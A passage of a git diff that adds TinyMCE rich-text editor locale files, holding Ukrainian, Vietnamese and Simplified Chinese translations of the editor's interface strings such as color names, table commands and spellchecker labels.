\u0432\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0456 \u043c\u0435\u0434\u0456\u0430","delta_height":"","delta_width":""},fullpage:{desc:"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","delta_width":"","delta_height":""},template:{desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442"},visualchars:{desc:"\u0412\u0456\u0437\u0443\u0430\u043b\u044c\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u0456\u0432 \u0432\u0432\u0456\u043c\u043a\u043d\u0435\u043d\u043d\u044f / \u0432\u0438\u043c\u043a\u043d\u0435\u043d\u043d\u044f."},spellchecker:{desc:"\u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u0438 \u043f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0443",menu:"\u041d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f \u043f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0438","ignore_word":"\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438 \u0441\u043b\u043e\u0432\u043e","ignore_words":"\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438 \u0432\u0441\u0435",langs:"\u041c\u043e\u0432\u0438",wait:"\u0411\u0443\u0434\u044c \u043b\u0430\u0441\u043a\u0430, \u0437\u0430\u0447\u0435\u043a\u0430\u0439\u0442\u0435...",sug:"\u0412\u0430\u0440\u0456\u0430\u043d\u0442\u0438","no_sug":"\u041d\u0435\u043c\u0430\u0454 \u0432\u0430\u0440\u0456\u0430\u043d\u0442\u0456\u0432","no_mpell":"\u041f\u043e\u043c\u0438\u043b\u043e\u043a \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e.","learn_word":"\u0417\u0430\u043f\u0430\u043c\'\u044f\u0442\u0430\u0442\u0438 \u0441\u043b\u043e\u0432\u043e"},pagebreak:{desc:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u043e\u0437\u0434\u0456\u043b\u044c\u043d\u0438\u043a \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438."},advlist:{types:"\u0422\u0438\u043f\u0438",def:"\u0417\u0430 \u0437\u0430\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f\u043c","lower_alpha":"Lower alpha","lower_greek":"Lower greek","lower_roman":"Lower roman","upper_alpha":"Upper alpha","upper_roman":"Upper roman",circle:"\u041a\u043e\u043b\u043e",disc:"\u0414\u0438\u0441\u043a",square:"\u041a\u0432\u0430\u0434\u0440\u0430\u0442"},colors:{"333300":"\u0422\u0435\u043c\u043d\u043e-\u043e\u043b\u0438\u0432\u043a\u043e\u0432\u0438\u0439","000000":"\u0427\u043e\u0440\u043d\u0438\u0439","003300":"\u0422\u0435\u043c\u043d\u043e-\u0437\u0435\u043b\u0435\u043d\u0438\u0439","808000":"\u041e\u043b\u0438\u0432\u043a\u043e\u0432\u0438\u0439","008000":"\u0417\u0435\u043b\u0435\u043d\u0438\u0439","0000FF":"\u0421\u0438\u043d\u0456\u0439","666699":"\u0421\u0456\u0440\u043e-\u0433\u043e\u043b\u0443\u0431\u0438\u0439","808080":"\u0421\u0456\u0440\u0438\u0439",FF0000:"\u0427\u0435\u0440\u0432\u043e\u043d\u0438\u0439","99CC00":"\u0416\u043e\u0432\u0442\u043e-\u0437\u0435\u043b\u0435\u043d\u0438\u0439","339966":"Sea green ",FFCC00:"\u0417\u043e\u043b\u043e\u0442\u0438\u0439",FFFF00:"\u0416\u043e\u0432\u0442\u0438\u0439",FF99CC:"\u0420\u043e\u0436\u0435\u0432\u0438\u0439",CC99FF:"\u0421\u043b\u0438\u0432\u043e\u0432\u0438\u0439",FFFFFF:"\u0411\u0456\u043b\u0438\u0439","993300":"Burnt orange","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","008080":"Teal",FF9900:"Amber","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"\u0421\u043b\u0456\u0432:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/vi.js b/js/tiny_mce/langs/vi.js new file mode 100755 index 0000000..966a38a --- /dev/null +++ b/js/tiny_mce/langs/vi.js @@ -0,0 +1 @@ +tinyMCE.addI18n({vi:{common:{"more_colors":"M\u00e0u kh\u00e1c","invalid_data":"L\u1ed7i: Gi\u00e1 tr\u1ecb nh\u1eadp v\u00e0o kh\u00f4ng h\u1ee3p l\u1ec7. (\u0110\u01b0\u1ee3c \u0111\u00e1nh d\u1ea5u \u0111\u1ecf)","popup_blocked":"Xin l\u1ed7i, Nh\u01b0ng ch\u1ebf \u0111\u1ed9 c\u1eeda s\u1ed5 popup \u0111\u00e3 b\u1ecb v\u00f4 hi\u1ec7u ho\u00e1. B\u1ea1n s\u1ebd c\u1ea7n ph\u1ea3i t\u1eaft ch\u1ee9c n\u0103ng ch\u1eb7n popup tr\u00ean trang web n\u00e0y \u0111\u1ec3 s\u1eed d\u1ee5ng c\u00f4ng c\u1ee5 n\u00e0y ho\u00e0n to\u00e0n.","clipboard_no_support":"S\u1eed d\u1ee5ng ph\u00edm t\u1eaft kh\u00f4ng \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng trong tr\u00ecnh duy\u1ec7t hi\u1ec7n t\u1ea1i.","clipboard_msg":"Copy/Cut/Paste kh\u00f4ng \u0111\u01b0\u1ee3c h\u1ed7 tr\u1ee3 trong tr\u00ecnh duy\u1ec7t web n\u00e0y.\nB\u1ea1n c\u00f3 mu\u1ed1n bi\u1ebft th\u00eam th\u00f4ng tin v\u1ec1 v\u1ea5n \u0111\u1ec1 n\u00e0y kh\u00f4ng??","not_set":"-- Ch\u01b0a \u0111\u1eb7t --","class_name":"L\u1edbp",browse:"T\u00ecm",close:"Tho\u00e1t",cancel:"H\u1ee7y b\u1ecf",update:"C\u1eadp nh\u1eadt",insert:"Th\u00eam",apply:"Thay \u0111\u1ed5i","edit_confirm":"B\u1ea1n c\u00f3 mu\u1ed1n s\u1eed d\u1ee5ng ch\u1ebf \u0111\u1ed9 WYSIWYG cho textarea n\u00e0y?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"\u0110\u1ea7y",right:"Ph\u1ea3i",center:"Gi\u1eefa",left:"Tr\u00e1i",align:"Canh l\u1ec1"},insertdatetime:{"day_short":"CN,T2,T3,T4,T5,T6,T7,CN","day_long":"Ch\u1ee7 Nh\u1eadt,Th\u1ee9 Hai,Th\u1ee9 Ba,Th\u1ee9 T\u01b0,Th\u1ee9 N\u0103m,Th\u1ee9 S\u00e1u,Th\u1ee9 B\u1ea3y,Ch\u1ee7 Nh\u1eadt","months_short":"Thg1,Thg2,Thg3,Thg4,Thg5,Thg6,Thg7,Thg8,Thg9,Th10,Th11,Th12","months_long":"Th\u00e1ng M\u1ed9t,Th\u00e1ng Hai,Th\u00e1ng Ba,Th\u00e1ng T\u01b0,Th\u00e1ng N\u0103m,Th\u00e1ng S\u00e1u,Th\u00e1ng B\u1ea3y,Th\u00e1ng T\u00e1m,Th\u00e1ng Ch\u00edn,Th\u00e1ng M\u01b0\u1eddi,Th\u00e1ng M\u01b0\u1eddi M\u1ed9t,Th\u00e1ng M\u01b0\u1eddi Hai","inserttime_desc":"Ch\u00e8n gi\u1edd","insertdate_desc":"Ch\u00e8n ng\u00e0y","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"In"},preview:{"preview_desc":"Xem tr\u01b0\u1edbc"},directionality:{"rtl_desc":"H\u01b0\u1edbng ph\u1ea3i qua tr\u00e1i","ltr_desc":"H\u01b0\u1edbng tr\u00e1i qua ph\u1ea3i"},layer:{content:"L\u1edbp m\u1edbi...","absolute_desc":"\u0110\u1ea3o v\u1ecb tr\u00ed c\u1ed1 \u0111\u1ecbnh","backward_desc":"Di chuy\u1ec3n v\u1ec1 sau","forward_desc":"Di chuy\u1ec3n v\u1ec1 tr\u01b0\u1edbc","insertlayer_desc":"Ch\u00e8n l\u1edbp m\u1edbi"},save:{"save_desc":"L\u01b0u","cancel_desc":"H\u1ee7y b\u1ecf t\u1ea5t c\u1ea3 thay \u0111\u1ed5i"},nonbreaking:{"nonbreaking_desc":"Ch\u00e8n k\u00fd t\u1ef1 kho\u1ea3ng c\u00e1ch kh\u00f4ng b\u1ecb ng\u1eaft"},iespell:{download:"ieSpell kh\u00f4ng \u0111\u01b0\u1ee3c ph\u00e1t hi\u1ec7n. B\u1ea1n c\u00f3 mu\u1ed1n c\u00e0i \u0111\u1eb7t n\u00f3 b\u00e2y gi\u1edd?","iespell_desc":"Ch\u1ea1y tr\u00ecnh ki\u1ec3m tra ch\u00ednh t\u1ea3"},advhr:{"advhr_desc":"Th\u01b0\u1edbc ngang","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Bi\u1ec3u T\u01b0\u1ee3ng C\u1ea3m X\u00fac","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"T\u00ecm/Thay th\u1ebf","search_desc":"T\u00ecm","delta_width":"","delta_height":""},advimage:{"image_desc":"Ch\u00e8n/s\u1eeda \u1ea3nh","delta_width":"","delta_height":""},advlink:{"link_desc":"Th\u00eam/S\u1eeda Link","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Ch\u00e8n/S\u1eeda c\u00e1c thu\u1ed9c t\u00ednh","ins_desc":"Ch\u00e8n","del_desc":"X\u00f3a","acronym_desc":"T\u1eeb vi\u1ebft t\u1eaft","abbr_desc":"T\u00ean vi\u1ebft t\u1eaft","cite_desc":"Bi\u00ea\u0309u ch\u01b0\u01a1ng","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"S\u1eeda ki\u1ec3u d\u00e1ng CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"Ch\u1ecdn t\u1ea5t","paste_word_desc":"D\u00e1n t\u1eeb Word","paste_text_desc":"D\u00e1nh nh\u01b0 Plain Text"},"paste_dlg":{"word_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5.","text_linebreaks":"Gi\u1eef ng\u1eaft d\u00f2ng","text_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5."},table:{cell:"\u00d4",col:"C\u1ed9t",row:"H\u00e0ng",del:"X\u00f3a b\u1ea3ng","copy_row_desc":"Sao ch\u00e9p h\u00e0ng","cut_row_desc":"C\u1eaft h\u00e0ng","paste_row_after_desc":"D\u00e1n hang v\u00e0o sau","paste_row_before_desc":"D\u00e1n hang v\u00e0o tr\u01b0\u1edbc","props_desc":"Thu\u1ed9c t\u00ednh b\u1ea3ng","cell_desc":"Thu\u1ed9c t\u00ednh \u00f4","row_desc":"Thu\u1ed9c t\u00ednh h\u00e0ng","merge_cells_desc":"K\u1ebft h\u1ee3p c\u00e1c \u00f4 c\u1ee7a b\u1ea3ng","split_cells_desc":"T\u00e1ch c\u00e1c \u00f4 \u0111\u00e3 k\u1ebft h\u1ee3p c\u1ee7a b\u1ea3ng","delete_col_desc":"Lo\u1ea1i b\u1ecf c\u1ed9t","col_after_desc":"Ch\u00e8n c\u1ed9t v\u00e0o sau","col_before_desc":"Ch\u00e8n c\u1ed9t v\u00e0o tr\u01b0\u1edbc","delete_row_desc":"X\u00f3a d\u00f2ng","row_after_desc":"Ch\u00e8n h\u00e0ng v\u00e0o sau","row_before_desc":"Ch\u00e8n h\u00e0ng v\u00e0o tr\u01b0\u1edbc",desc:"Ch\u00e8n m\u1ed9t b\u1ea3ng m\u1edbi","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"N\u1ebfu b\u1ea1n kh\u00f4i ph\u1ee5c l\u1ea1i n\u1ed9i dung \u0111\u00e3 l\u01b0u, b\u1ea1n s\u1ebd m\u1ea5t t\u1ea5t c\u1ea3 c\u00e1c n\u1ed9i dung m\u00e0 hi\u1ec7n \u0111ang trong tr\u00ecnh so\u1ea1n th\u1ea3o.\n\nB\u1ea1n c\u00f3 ch\u1eafc l\u00e0 b\u1ea1n mu\u1ed1n kh\u00f4i ph\u1ee5c l\u1ea1i n\u1ed9i dung \u0111\u00e3 l\u01b0u?.","restore_content":"Kh\u00f4i ph\u1ee5c n\u1ed9i dung t\u1ef1 \u0111\u1ed9ng l\u01b0u l\u1ea1i.","unload_msg":"Nh\u1eefng thay \u0111\u1ed5i b\u1ea1n \u0111\u00e3 th\u1ef1c hi\u1ec7n s\u1ebd b\u1ecb m\u1ea5t n\u1ebfu b\u1ea1n \u0111i\u1ec1u h\u01b0\u1edbng \u0111i t\u1eeb trang n\u00e0y."},fullscreen:{desc:"B\u1eadt/t\u1eaft ch\u1ebf \u0111\u1ed9 to\u00e0n m\u00e0n h\u00ecnh"},media:{edit:"S\u1eeda ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng nh\u00fang",desc:"Ch\u00e8n / s\u1eeda ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng nh\u00fang","delta_height":"","delta_width":""},fullpage:{desc:"Thu\u1ed9c t\u00ednh v\u0103n b\u1ea3n","delta_width":"","delta_height":""},template:{desc:"Ch\u00e8n m\u1ed9t n\u1ed9i dung m\u1eabu \u0111\u1ecbnh ngh\u0129a tr\u01b0\u1edbc"},visualchars:{desc:"B\u1eb7t/T\u1eaft c\u00e1c k\u00fd t\u1ef1 \u0111i\u1ec1u khi\u1ec3n tr\u1ef1c quan."},spellchecker:{desc:"B\u1eadt/T\u1eaft ki\u1ec3m tra ch\u00ednh t\u1ea3",menu:"Thi\u1ebft l\u1eadp ki\u1ec3m tra ch\u00ednh t\u1ea3","ignore_word":"B\u1ecf qua t\u1eeb ng\u1eef","ignore_words":"B\u1ecf qua t\u1ea5t c\u1ea3",langs:"Ng\u00f4n ng\u1eef",wait:"Vui l\u00f2ng ch\u1edd...",sug:"G\u1ee3i \u00fd","no_sug":"Kh\u00f4ng c\u00f3 g\u1ee3i \u00fd","no_mpell":"Kh\u00f4ng c\u00f3 l\u1ed7i ch\u00ednh t\u1ea3 \u0111\u01b0\u1ee3c t\u00ecm th\u1ea5y.","learn_word":"Learn word"},pagebreak:{desc:"Ch\u00e8n ng\u1eaft trang."},advlist:{types:"Ki\u1ec3u",def:"M\u1eb7c \u0111\u1ecbnh","lower_alpha":"K\u00fd hi\u1ec7u alpha th\u01b0\u1eddng","lower_greek":"K\u00fd hi\u1ec7u Hy-l\u1ea1p th\u01b0\u1eddng","lower_roman":"K\u00fd hi\u1ec7u La m\u00e3 th\u01b0\u1eddng","upper_alpha":"K\u00fd hi\u1ec7u alpha cao","upper_roman":"K\u00fd hi\u1ec7u La m\u00e3 hoa",circle:"Tr\u00f2ng",disc:"\u0110\u0129a",square:"Vu\u00f4ng"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/zh-cn.js b/js/tiny_mce/langs/zh-cn.js new file mode 100755 index 0000000..42f7abb --- /dev/null +++ b/js/tiny_mce/langs/zh-cn.js @@ -0,0 +1 @@ +tinyMCE.addI18n({"zh-cn":{common:{"more_colors":"\u66f4\u591a\u989c\u8272","invalid_data":"\u9519\u8bef\uff1a\u6807\u8bb0\u4e3a\u7ea2\u8272\u7684\u90e8\u5206\u6709\u8bef\u3002","popup_blocked":"\u62b1\u6b49\uff0c\u60a8\u7981\u7528\u4e86\u5f39\u51fa\u7a97\u53e3\u529f\u80fd\u3002\u4e3a\u4e86\u4f7f\u7528\u8be5\u5de5\u5177\u7684\u5168\u90e8\u529f\u80fd\uff0c\u60a8\u9700\u8981\u5141\u8bb8\u5f39\u51fa\u7a97\u53e3\u3002","clipboard_no_support":"\u60a8\u7684\u6d4f\u89c8\u5668\u4e0d\u652f\u6301\uff0c\u4f7f\u7528\u5feb\u6377\u952e\u4ee3\u66ff\u3002","clipboard_msg":"\u5728Mozilla\u548cFirefox\u4e2d\u4e0d\u80fd\u4f7f\u7528\u590d\u5236/\u7c98\u8d34/\u526a\u5207\u3002\u60a8\u8981\u67e5\u770b\u8be5\u95ee\u9898\u66f4\u591a\u7684\u4fe1\u606f\u5417\uff1f","not_set":"-- \u672a\u8bbe\u7f6e --","class_name":"\u7c7b\u522b",browse:"\u6d4f\u89c8",close:"\u5173\u95ed",cancel:"\u53d6\u6d88",update:"\u66f4\u65b0",insert:"\u63d2\u5165",apply:"\u5e94\u7528","edit_confirm":"\u8be5\u6587\u672c\u57df\u662f\u5426\u9700\u8981\u4f7f\u7528\u6240\u89c1\u5373\u6240\u5f97\u6a21\u5f0f\uff1f","invalid_data_number":"{#field} \u5fc5\u987b\u4e3a\u6570\u5b57","invalid_data_min":"{#field} \u5fc5\u987b\u4e3a\u5927\u4e8e {#min} \u7684\u6570\u5b57","invalid_data_size":"{#field} \u5fc5\u987b\u4e3a\u6570\u5b57\u6216\u767e\u5206\u6570",value:"(value)"},contextmenu:{full:"\u4e24\u7aef\u5bf9\u9f50",right:"\u53f3\u5bf9\u9f50",center:"\u5c45\u4e2d",left:"\u5de6\u5bf9\u9f50",align:"\u5bf9\u9f50"},insertdatetime:{"day_short":"\u5468\u65e5,\u5468\u4e00,\u5468\u4e8c,\u5468\u4e09,\u5468\u56db,\u5468\u4e94,\u5468\u516d,\u5468\u65e5","day_long":"\u661f\u671f\u65e5,\u661f\u671f\u4e00,\u661f\u671f\u4e8c,\u661f\u671f\u4e09,\u661f\u671f\u56db,\u661f\u671f\u4e94,\u661f\u671f\u516d,\u661f\u671f\u65e5","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","months_long":"\u4e00\u6708,\u4e8c\u6708,\u4e09\u6708,\u56db\u6708,\u4e94\u6708,\u516d\u6708,\u4e03\u6708,\u516b\u6708,\u4e5d\u6708,\u5341\u6708,\u5341\u4e00\u6708,\u5341\u4e8c\u6708","inserttime_desc":"\u63d2\u5165\u65f6\u95f4","insertdate_desc":"\u63d2\u5165\u65e5\u671f","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u6253\u5370"},preview:{"preview_desc":"\u9884\u89c8"},directionality:{"rtl_desc":"\u6587\u5b57\u65b9\u5411\u4e3a\u4ece\u53f3\u5230\u5de6","ltr_desc":"\u6587\u5b57\u65b9\u5411\u4e3a\u4ece\u5de6\u5230\u53f3"},layer:{content:"\u65b0\u5efa\u5c42...","absolute_desc":"\u5207\u6362\u5230\u7edd\u5bf9\u4f4d\u7f6e","backward_desc":"\u7f6e\u540e","forward_desc":"\u7f6e\u524d","insertlayer_desc":"\u63d2\u5165\u65b0\u5c42"},save:{"save_desc":"\u4fdd\u5b58","cancel_desc":"\u53d6\u6d88\u66f4\u6539"},nonbreaking:{"nonbreaking_desc":"\u63d2\u5165\u4e0d\u95f4\u65ad\u7a7a\u683c\u7b26"},iespell:{download:"\u62fc\u5199\u68c0\u67e5\u672a\u5b89\u88c5\uff0c\u662f\u5426\u9a6c\u4e0a\u5b89\u88c5\uff1f","iespell_desc":"\u62fc\u5199\u68c0\u67e5"},advhr:{"delta_height":"\u9ad8\u5ea6","delta_width":"\u5bbd\u5ea6","advhr_desc":"\u6c34\u5e73\u7ebf"},emotions:{"emotions_desc":"\u8868\u60c5","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u67e5\u627e/\u66ff\u6362","search_desc":"\u67e5\u627e","delta_width":"","delta_height":""},advimage:{"image_desc":"\u63d2\u5165/\u7f16\u8f91 \u56fe\u7247","delta_width":"","delta_height":""},advlink:{"link_desc":"\u63d2\u5165/\u7f16\u8f91 \u8d85\u94fe\u63a5","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u63d2\u5165/\u7f16\u8f91\u5c5e\u6027","ins_desc":"\u63d2\u5165","del_desc":"\u5220\u9664","acronym_desc":"\u9996\u5b57\u6bcd\u7f29\u5199","abbr_desc":"\u7f29\u5199","cite_desc":"\u5f15\u7528","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u7f16\u8f91CSS\u6837\u5f0f","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u5f53\u524d\u4e3a\u7eaf\u6587\u672c\u6a21\u5f0f\u7c98\u8d34\uff0c\u518d\u6b21\u70b9\u51fb\u8fd4\u56de\u666e\u901a\u7c98\u8d34\u6a21\u5f0f\u3002","plaintext_mode_sticky":"\u5f53\u524d\u4e3a\u7eaf\u6587\u672c\u6a21\u5f0f\u7c98\u8d34\u3002\u518d\u6b21\u70b9\u51fb\u8fd4\u56de\u666e\u901a\u7c98\u8d34\u6a21\u5f0f\uff0c\u5728\u60a8\u7c98\u8d34\u5185\u5bb9\u540e\u5c06\u8fd4\u56de\u666e\u901a\u7c98\u8d34\u6a21\u5f0f\u3002","selectall_desc":"\u5168\u9009","paste_word_desc":"\u4eceWord\u7c98\u8d34","paste_text_desc":"\u4ee5\u7eaf\u6587\u672c\u7c98\u8d34"},"paste_dlg":{"word_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002","text_linebreaks":"\u4fdd\u7559\u65ad\u884c","text_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002"},table:{cell:"\u5355\u5143\u683c",col:"\u5217",row:"\u884c",del:"\u5220\u9664\u8868\u683c","copy_row_desc":"\u590d\u5236\u884c","cut_row_desc":"\u526a\u5207\u884c","paste_row_after_desc":"\u5728\u4e0b\u65b9\u7c98\u8d34\u884c","paste_row_before_desc":"\u5728\u4e0a\u65b9\u7c98\u8d34\u884c","props_desc":"\u8868\u683c\u5c5e\u6027","cell_desc":"\u5355\u5143\u683c\u5c5e\u6027","row_desc":"\u884c\u5c5e\u6027","merge_cells_desc":"\u5408\u5e76\u5355\u5143\u683c","split_cells_desc":"\u5206\u5272\u5355\u5143\u683c","delete_col_desc":"\u5220\u9664\u5217","col_after_desc":"\u5728\u53f3\u4fa7\u63d2\u5165\u5217","col_before_desc":"\u5728\u5de6\u4fa7\u63d2\u5165\u5217","delete_row_desc":"\u5220\u9664\u884c","row_after_desc":"\u5728\u4e0b\u65b9\u63d2\u5165\u884c","row_before_desc":"\u5728\u4e0a\u65b9\u63d2\u5165\u884c",desc:"\u63d2\u5165\u65b0\u8868\u683c","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u5982\u679c\u6062\u590d\u4fdd\u5b58\u7684\u5185\u5bb9\uff0c\u60a8\u5f53\u524d\u7f16\u8f91\u7684\u6240\u6709\u7684\u5185\u5bb9\u5c06\u4e22\u5931\u3002nn\u60a8\u786e\u5b9a\u8981\u6062\u590d\u4fdd\u5b58\u7684\u5185\u5bb9\u5417\uff1f","restore_content":"\u6062\u590d\u81ea\u52a8\u4fdd\u5b58\u7684\u5185\u5bb9\u3002","unload_msg":"\u5982\u679c\u9000\u51fa\u8be5\u9875\uff0c\u60a8\u6240\u505a\u7684\u66f4\u6539\u5c06\u4e22\u5931\u3002"},fullscreen:{desc:"\u5207\u6362\u5168\u5c4f\u6a21\u5f0f"},media:{edit:"\u7f16\u8f91\u5d4c\u5165\u5f0f\u5a92\u4f53",desc:"\u63d2\u5165/\u7f16\u8f91 \u5d4c\u5165\u5f0f\u5a92\u4f53","delta_height":"","delta_width":""},fullpage:{desc:"\u6587\u4ef6\u5c5e\u6027","delta_width":"\u5bbd\u5ea6","delta_height":"\u9ad8\u5ea6"},template:{desc:"\u63d2\u5165\u9884\u8bbe\u7684\u6a21\u677f\u5185\u5bb9"},visualchars:{desc:"\u663e\u793a/\u9690\u85cf \u975e\u53ef\u89c1\u5b57\u7b26"},spellchecker:{desc:"\u62fc\u5199\u68c0\u67e5",menu:"\u62fc\u5199\u68c0\u67e5\u8bbe\u7f6e","ignore_word":"\u5ffd\u7565","ignore_words":"\u5168\u90e8\u5ffd\u7565",langs:"\u8bed\u8a00",wait:"\u8bf7\u7a0d\u5019...",sug:"\u5efa\u8bae","no_sug":"\u65e0\u5efa\u8bae","no_mpell":"\u65e0\u62fc\u5199\u9519\u8bef","learn_word":"\u5b66\u4e60\u8bcd\u7ec4"},pagebreak:{desc:"\u63d2\u5165\u5206\u9875\u7b26"},advlist:{types:"\u6837\u5f0f",def:"\u9ed8\u8ba4","lower_alpha":"\u5c0f\u5199\u5b57\u6bcd","lower_greek":"\u5c0f\u5199\u5e0c\u814a\u5b57\u6bcd","lower_roman":"\u5c0f\u5199\u7f57\u9a6c\u6570\u5b57","upper_alpha":"\u5927\u5199\u5b57\u6bcd","upper_roman":"\u5927\u5199\u7f57\u9a6c\u6570\u5b57",circle:"\u5706\u5708",disc:"\u5706\u70b9",square:"\u65b9\u5757"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"\u5bcc\u6587\u672c\u57df"},wordcount:{words:"\u5b57\u6570:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/zh-tw.js b/js/tiny_mce/langs/zh-tw.js new file mode 100755 index 0000000..9352b26 --- /dev/null +++ b/js/tiny_mce/langs/zh-tw.js @@ -0,0 +1 @@ 